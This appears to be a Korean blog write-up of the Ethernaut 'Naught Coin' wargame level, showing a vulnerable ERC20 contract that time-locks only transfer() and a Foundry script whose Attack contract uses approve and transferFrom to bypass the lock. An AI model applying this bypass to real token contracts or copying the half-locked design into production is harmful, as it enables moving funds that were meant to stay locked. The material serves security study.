c0mpos3r

[Ethernaut] 15. Naught Coin WriteUp 본문

Web3/Hacking

[Ethernaut] 15. Naught Coin WriteUp

음대생 2025. 8. 7. 20:27

1. 문제 분석

NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.

 

NaughtCoin은 ERC20 토큰이며 이미 모든 것을 들고 있습니다. 캐치는 10 년의 잠금 기간 후에 만 전송할 수 있다는 것입니다. 자유롭게 전송할 수 있도록 다른 주소로 나가는 방법을 알아낼 수 있습니까? 토큰 균형을 0으로 얻어 레벨을 완료하십시오.

 

1-1. Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

1-2. NaughtCoin Contract 분석

취약점 발견

이 컨트랙트는 ERC20의 일부 함수만 제한하는 실수를 범했습니다.

문제점:

  • transfer() 함수만 lockTokens 모디파이어로 보호됨
  • transferFrom() 함수는 오버라이드되지 않음 → 제한 없음

ERC20 토큰 이동 방법:

  1. transfer(to, amount) - 직접 전송 
  2. transferFrom(from, to, amount) - 허용량 기반 전송 (제한 없음)

 

1-3. Reference 분석

ERC20 표준 함수 정리표

View Functions (읽기 전용)

함수명 파라미터 반환값 설명
name() - string 토큰 이름 (예: "Bitcoin")
symbol() - string 토큰 심볼 (예: "BTC")
decimals() - uint8 소수점 자리수 (보통 18)
totalSupply() - uint256 전체 토큰 공급량
balanceOf(address) address owner uint256 특정 주소의 토큰 잔액
allowance(address,address) address owner, address spender uint256 허용된 사용 가능 토큰량

 

 Transfer Functions (토큰 이동)

함수명 파라미터 반환값 설명 이벤트
transfer(address,uint256) address to, uint256 amount bool 직접 토큰 전송 Transfer
transferFrom(address,address,uint256) address from, address to, uint256 amount bool 허용량 기반 토큰 전송 Transfer

 

Approval Functions (허용량 관리)

함수명 파라미터 반환값 설명 이벤트
approve(address,uint256) address spender, uint256 amount bool 사용 허용량 설정 Approval
increaseAllowance(address,uint256) address spender, uint256 addedValue bool 허용량 증가 Approval
decreaseAllowance(address,uint256) address spender, uint256 subtractedValue bool 허용량 감소 Approval

 

Events (이벤트)

이벤트명 파라미터 발생 조건
Transfer address indexed from, address indexed to, uint256 value 토큰 이동시
Approval address indexed owner, address indexed spender, uint256 value 허용량 설정시

 

토큰 전송 패턴

Pattern 1: Direct Transfer

// Alice가 Bob에게 직접 전송
token.transfer(bob, 100);

 

Pattern 2: Approval + TransferFrom

// 1단계: Alice가 Contract에게 허용
alice.approve(contract, 100);

// 2단계: Contract가 Alice → Bob 전송
contract.transferFrom(alice, bob, 100);

 

보안 고려사항

함수 잠재적 취약점 해결책
approve() Race condition 공격 increaseAllowance() 사용
transferFrom() 무한 허용량 적절한 허용량 설정
transfer() 0 주소 전송 주소 검증 필요

 

NaughtCoin 취약점

제한된 함수 제한없는 함수 우회 방법
transfer() transferFrom() approve → transferFrom

 

2.  Solving

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import { NaughtCoin } from "../src/NaughtCoin.sol";

contract Attack {
    function attack(NaughtCoin coin, uint256 balance) public payable {
        coin.transferFrom(msg.sender, address(this), balance); // 다른 주소로 조건을 우회하여 출금
    }
}

contract CounterScript is Script {
    address public instance = 0x62dc51f2AC04755bDF593FAf957B2489656CA4C1;

    function run() public {
        vm.startBroadcast();

        NaughtCoin coin = NaughtCoin(instance);
        Attack a = new Attack();
        
        uint256 balance = coin.balanceOf(msg.sender); // 잔액 확인
        console.log("Balance:", balance);
        
        coin.approve(address(a), balance); // 권한 부여
        a.attack(coin, balance);

        vm.stopBroadcast();
    }
}

 

3. 결론

ERC20은 두 가지 전송 방식을 제공하므로, 보안 제한시 둘 다 고려해야 함!

'Web3 > Hacking' 카테고리의 다른 글

[Ethernaut] 18. MagicNumber WriteUp  (1) 2025.08.09
[Ethernaut] 17. Recovery WriteUp  (1) 2025.08.08
[Ethernaut] 16. Preservation WriteUp  (1) 2025.08.08
[Secureum] Audit Findings 201  (3) 2025.07.12
[Secureum] Audit Findings 101  (0) 2025.07.12